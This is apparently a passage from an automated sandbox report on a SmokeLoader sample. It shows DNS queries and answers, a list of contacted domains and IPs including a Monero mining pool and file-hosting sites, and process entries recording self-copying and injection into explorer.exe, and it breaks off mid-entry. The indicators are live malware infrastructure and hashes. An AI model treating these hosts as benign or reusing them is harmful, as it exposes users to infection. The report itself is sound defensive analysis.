Jan 14, 2022 12:30:00.959358931 CET	192.168.2.4	8.8.8.8	0x61e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:01.321439981 CET	192.168.2.4	8.8.8.8	0xf3f6	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:04.139807940 CET	192.168.2.4	8.8.8.8	0x82ed	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:04.312947989 CET	192.168.2.4	8.8.8.8	0x43d2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:04.526979923 CET	192.168.2.4	8.8.8.8	0x4cb4	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:07.377934933 CET	192.168.2.4	8.8.8.8	0x7c19	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:07.559844971 CET	192.168.2.4	8.8.8.8	0x3d62	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:07.735255957 CET	192.168.2.4	8.8.8.8	0x7946	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:07.912570953 CET	192.168.2.4	8.8.8.8	0x5623	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:08.140345097 CET	192.168.2.4	8.8.8.8	0x598	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:11.223495007 CET	192.168.2.4	8.8.8.8	0xfd8c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:11.397445917 CET	192.168.2.4	8.8.8.8	0x30ac	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:11.563966036 CET	192.168.2.4	8.8.8.8	0x5efb	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:13.492192030 CET	192.168.2.4	8.8.8.8	0xf3c6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:13.665873051 CET	192.168.2.4	8.8.8.8	0xbbfe	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:13.852792025 CET	192.168.2.4	8.8.8.8	0xfa1f	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:15.926599026 CET	192.168.2.4	8.8.8.8	0xe24a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:16.141427994 CET	192.168.2.4	8.8.8.8	0xa604	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:21.652688026 CET	192.168.2.4	8.8.8.8	0x8116	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:21.847970009 CET	192.168.2.4	8.8.8.8	0x6d9b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:22.201057911 CET	192.168.2.4	8.8.8.8	0x510	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:25.474335909 CET	192.168.2.4	8.8.8.8	0xb7b6	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:48.699079037 CET	192.168.2.4	8.8.8.8	0xab12	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:31:16.120827913 CET	192.168.2.4	8.8.8.8	0x58e1	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)
Jan 14, 2022 12:31:38.487710953 CET	192.168.2.4	8.8.8.8	0xdeb8	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 14, 2022 12:29:11.800079107 CET	8.8.8.8	192.168.2.4	0x67b5	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:12.274777889 CET	8.8.8.8	192.168.2.4	0xe986	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:12.450135946 CET	8.8.8.8	192.168.2.4	0x5bf4	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:12.944006920 CET	8.8.8.8	192.168.2.4	0x4112	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:13.409914970 CET	8.8.8.8	192.168.2.4	0xc21b	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:13.583471060 CET	8.8.8.8	192.168.2.4	0x8bf6	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:15.262034893 CET	8.8.8.8	192.168.2.4	0xa91d	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:15.447199106 CET	8.8.8.8	192.168.2.4	0xc66a	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:15.881325006 CET	8.8.8.8	192.168.2.4	0xad10	No error (0)	data-host-coin-8.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:17.699449062 CET	8.8.8.8	192.168.2.4	0xd6ae	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:17.887447119 CET	8.8.8.8	192.168.2.4	0xd89a	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:18.053019047 CET	8.8.8.8	192.168.2.4	0x5ee7	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:18.355922937 CET	8.8.8.8	192.168.2.4	0x54cb	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:18.790898085 CET	8.8.8.8	192.168.2.4	0x89d2	No error (0)	privacy-tools-for-you-780.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:20.656292915 CET	8.8.8.8	192.168.2.4	0x6d1f	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:20.820332050 CET	8.8.8.8	192.168.2.4	0x68bb	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:21.072279930 CET	8.8.8.8	192.168.2.4	0x3931	No error (0)	unicupload.top		54.38.220.85	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:21.139534950 CET	8.8.8.8	192.168.2.4	0x1d8b	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:21.334872007 CET	8.8.8.8	192.168.2.4	0x44e5	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:21.523125887 CET	8.8.8.8	192.168.2.4	0x25c0	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:21.983006954 CET	8.8.8.8	192.168.2.4	0x639b	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:22.472062111 CET	8.8.8.8	192.168.2.4	0x33a6	No error (0)	data-host-coin-8.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:25.790760994 CET	8.8.8.8	192.168.2.4	0xed2c	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:25.954900026 CET	8.8.8.8	192.168.2.4	0x2715	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:26.121053934 CET	8.8.8.8	192.168.2.4	0x143d	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:26.332964897 CET	8.8.8.8	192.168.2.4	0x734e	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:29.135415077 CET	8.8.8.8	192.168.2.4	0x33ca	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:29.312202930 CET	8.8.8.8	192.168.2.4	0xdcf4	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:29.490415096 CET	8.8.8.8	192.168.2.4	0xd6f7	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:29.678015947 CET	8.8.8.8	192.168.2.4	0xb971	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:29.678015947 CET	8.8.8.8	192.168.2.4	0xb971	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:29.678015947 CET	8.8.8.8	192.168.2.4	0xb971	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:29.678015947 CET	8.8.8.8	192.168.2.4	0xb971	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:29.678015947 CET	8.8.8.8	192.168.2.4	0xb971	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:31.244934082 CET	8.8.8.8	192.168.2.4	0x521d	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:31.414046049 CET	8.8.8.8	192.168.2.4	0x49bf	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:31.582149982 CET	8.8.8.8	192.168.2.4	0x2eb3	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:41.910156012 CET	8.8.8.8	192.168.2.4	0x87cb	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.54.36	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:41.910156012 CET	8.8.8.8	192.168.2.4	0x87cb	No error (0)	microsoft-com.mail.protection.outlook.com		52.101.24.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:41.910156012 CET	8.8.8.8	192.168.2.4	0x87cb	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:41.910156012 CET	8.8.8.8	192.168.2.4	0x87cb	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.212.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:41.910156012 CET	8.8.8.8	192.168.2.4	0x87cb	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.1	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:41.910156012 CET	8.8.8.8	192.168.2.4	0x87cb	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.53.36	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:44.645194054 CET	8.8.8.8	192.168.2.4	0x1a68	No error (0)	patmushta.info		94.142.143.116	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:53.220798969 CET	8.8.8.8	192.168.2.4	0xdaf0	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:53.386814117 CET	8.8.8.8	192.168.2.4	0x5b4c	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:53.576463938 CET	8.8.8.8	192.168.2.4	0x4a7c	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:53.755656958 CET	8.8.8.8	192.168.2.4	0x9d7e	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:53.921154976 CET	8.8.8.8	192.168.2.4	0x17ca	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:54.085957050 CET	8.8.8.8	192.168.2.4	0xb79f	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:54.302371979 CET	8.8.8.8	192.168.2.4	0x5c2f	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:54.472028971 CET	8.8.8.8	192.168.2.4	0x3d2f	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:54.636883974 CET	8.8.8.8	192.168.2.4	0x4f2b	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:54.817362070 CET	8.8.8.8	192.168.2.4	0x4e70	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:54.985551119 CET	8.8.8.8	192.168.2.4	0x25a4	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:55.164411068 CET	8.8.8.8	192.168.2.4	0x8dcc	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:55.418090105 CET	8.8.8.8	192.168.2.4	0xff6a	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:55.585751057 CET	8.8.8.8	192.168.2.4	0xa5df	No error (0)	data-host-coin-8.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:58.460091114 CET	8.8.8.8	192.168.2.4	0x648d	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:58.626797915 CET	8.8.8.8	192.168.2.4	0xd308	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:58.808177948 CET	8.8.8.8	192.168.2.4	0x8226	No error (0)	goo.su		172.67.139.105	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:58.808177948 CET	8.8.8.8	192.168.2.4	0x8226	No error (0)	goo.su		104.21.38.221	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:59.145658016 CET	8.8.8.8	192.168.2.4	0x8d36	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:59.324620008 CET	8.8.8.8	192.168.2.4	0xb0	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:59.719247103 CET	8.8.8.8	192.168.2.4	0xf035	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:00.052918911 CET	8.8.8.8	192.168.2.4	0xb9a8	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:00.694416046 CET	8.8.8.8	192.168.2.4	0x336	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:00.978961945 CET	8.8.8.8	192.168.2.4	0x61e	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:01.340497971 CET	8.8.8.8	192.168.2.4	0xf3f6	No error (0)	data-host-coin-8.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:04.158957005 CET	8.8.8.8	192.168.2.4	0x82ed	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:04.332336903 CET	8.8.8.8	192.168.2.4	0x43d2	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:04.546641111 CET	8.8.8.8	192.168.2.4	0x4cb4	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:07.397336960 CET	8.8.8.8	192.168.2.4	0x7c19	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:07.579046965 CET	8.8.8.8	192.168.2.4	0x3d62	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:07.752860069 CET	8.8.8.8	192.168.2.4	0x7946	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:07.931826115 CET	8.8.8.8	192.168.2.4	0x5623	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:08.159605980 CET	8.8.8.8	192.168.2.4	0x598	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:11.243046999 CET	8.8.8.8	192.168.2.4	0xfd8c	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:11.420278072 CET	8.8.8.8	192.168.2.4	0x30ac	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:11.583112955 CET	8.8.8.8	192.168.2.4	0x5efb	No error (0)	data-host-coin-8.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:13.512223959 CET	8.8.8.8	192.168.2.4	0xf3c6	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:13.683284044 CET	8.8.8.8	192.168.2.4	0xbbfe	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:13.870006084 CET	8.8.8.8	192.168.2.4	0xfa1f	No error (0)	data-host-coin-8.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:15.946022034 CET	8.8.8.8	192.168.2.4	0xe24a	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:16.161323071 CET	8.8.8.8	192.168.2.4	0xa604	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:21.675123930 CET	8.8.8.8	192.168.2.4	0x8116	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:21.865549088 CET	8.8.8.8	192.168.2.4	0x6d9b	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:22.220680952 CET	8.8.8.8	192.168.2.4	0x510	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:25.792366028 CET	8.8.8.8	192.168.2.4	0xb7b6	No error (0)	patmushta.info		94.142.143.116	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:48.718033075 CET	8.8.8.8	192.168.2.4	0xab12	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)
Jan 14, 2022 12:30:48.718033075 CET	8.8.8.8	192.168.2.4	0xab12	No error (0)	pool-fr.supportxmr.com		149.202.83.171	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:48.718033075 CET	8.8.8.8	192.168.2.4	0xab12	No error (0)	pool-fr.supportxmr.com		91.121.140.167	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:48.718033075 CET	8.8.8.8	192.168.2.4	0xab12	No error (0)	pool-fr.supportxmr.com		37.187.95.110	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:48.718033075 CET	8.8.8.8	192.168.2.4	0xab12	No error (0)	pool-fr.supportxmr.com		94.23.23.52	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:48.718033075 CET	8.8.8.8	192.168.2.4	0xab12	No error (0)	pool-fr.supportxmr.com		94.23.247.226	A (IP address)	IN (0x0001)
Jan 14, 2022 12:31:16.139516115 CET	8.8.8.8	192.168.2.4	0x58e1	No error (0)	patmushta.info		94.142.143.116	A (IP address)	IN (0x0001)
Jan 14, 2022 12:31:38.621751070 CET	8.8.8.8	192.168.2.4	0xdeb8	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.54.36	A (IP address)	IN (0x0001)
Jan 14, 2022 12:31:38.621751070 CET	8.8.8.8	192.168.2.4	0xdeb8	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.53.36	A (IP address)	IN (0x0001)
Jan 14, 2022 12:31:38.621751070 CET	8.8.8.8	192.168.2.4	0xdeb8	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.1	A (IP address)	IN (0x0001)
Jan 14, 2022 12:31:38.621751070 CET	8.8.8.8	192.168.2.4	0xdeb8	No error (0)	microsoft-com.mail.protection.outlook.com		52.101.24.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:31:38.621751070 CET	8.8.8.8	192.168.2.4	0xdeb8	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.0	A (IP address)	IN (0x0001)
Jan 14, 2022 12:31:38.621751070 CET	8.8.8.8	192.168.2.4	0xdeb8	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.212.0	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

rrooukv.org

host-data-coin-11.com

rxyqqf.net

dutgomfkc.net

qwfulsm.net

rxkloxn.com

hopcq.com

ocnbwlevej.org

gdffxf.org

data-host-coin-8.com

psgcnvvm.org

vxjxd.org

mpabshq.org

ubyvpwxipt.net

privacy-tools-for-you-780.com

pxnotaacu.org

lnpyohcdyx.com

unicupload.top

byfupx.org

iijrpdo.org

ntsddipn.org

vkaflekmve.net

seaed.com

obclg.net

pgydqikexd.org

gminomh.net

185.7.214.171:8080

tgajiadc.net

xvuvc.org

tdosgx.net

npqwstsduq.net

ouyysee.net

rtqpowrk.org

hhpljg.org

ipycpcfbe.com

sdstpsloir.org

tfxyjpgh.net

ycdbyxqt.net

gcfxlgitg.org

afdvsashlg.com

kapjpsnnjq.org

kcsjausffk.com

djmmsjo.net

ipjoaoftf.net

sdkmuxkbh.org

vomuxg.org

fjenisnthl.net

pixmwg.net

mwbuboe.net

pylkam.org

fdhqx.net

pslqekdvh.org

ecicwppql.net

tlwsaw.net

krrkfa.com

gfydmobm.net

uhdak.net

assuf.net

rblisqqaii.com

xnvwvqck.com

vltihla.com

qnqlcbx.com

185.215.113.35

flqhri.com

poqgfb.net

oycnsawak.org

81.163.30.181

185.163.204.22

185.163.204.24

ylanbcfwv.net

yxorycdxma.net

tcqdnx.net

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: sbxGIUIhRd.exe PID: 6964 Parent PID: 5836

General

Start time:	12:28:30
Start date:	14/01/2022
Path:	C:\Users\user\Desktop\sbxGIUIhRd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\sbxGIUIhRd.exe"
Imagebase:	0x400000
File size:	320000 bytes
MD5 hash:	F768F4A81E8B87D6990895A35B8D7D6C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: sbxGIUIhRd.exe PID: 6984 Parent PID: 6964

General

Start time:	12:28:31
Start date:	14/01/2022
Path:	C:\Users\user\Desktop\sbxGIUIhRd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\sbxGIUIhRd.exe"
Imagebase:	0x400000
File size:	320000 bytes
MD5 hash:	F768F4A81E8B87D6990895A35B8D7D6C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.719013921.0000000000580000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.719027443.00000000005A1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3424 Parent PID: 6984

General

Start time:	12:28:38
Start date:	14/01/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000000.706607181.0000000004DC1000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6228 Parent PID: 568

General

Start time:	12:28:40
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5420 Parent PID: 568

General

Start time:	12:29:00
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: adijaeg PID: 6604 Parent PID: 968

General

Start time:	12:29:12
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Roaming\adijaeg
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\adijaeg
Imagebase:	0x400000
File size:	320000 bytes
MD5 hash:	F768F4A81E8B87D6990895A35B8D7D6C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: adijaeg PID: 4204 Parent PID: 6604

General

Start time:	12:29:14
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Roaming\adijaeg
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\adijaeg
Imagebase:	0x400000
File size:	320000 bytes
MD5 hash:	F768F4A81E8B87D6990895A35B8D7D6C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000A.00000002.767064606.0000000000561000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000A.00000002.766964771.0000000000420000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 6976 Parent PID: 568

General

Start time:	12:29:15
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: 8A6B.exe PID: 6760 Parent PID: 3424

General

Start time:	12:29:16
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\8A6B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8A6B.exe
Imagebase:	0x400000
File size:	301056 bytes
MD5 hash:	277680BD3182EB0940BC356FF4712BEF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	moderate

Chronological Activities

Analysis Process: 95C6.exe PID: 6844 Parent PID: 3424

General

Start time:	12:29:18
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\95C6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\95C6.exe
Imagebase:	0x400000
File size:	320000 bytes
MD5 hash:	F768F4A81E8B87D6990895A35B8D7D6C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 6868 Parent PID: 568

General

Start time:	12:29:19
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 6924 Parent PID: 6868

General

Start time:	12:29:19
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6760 -ip 6760
Imagebase:	0x1160000
File size:	434592 bytes
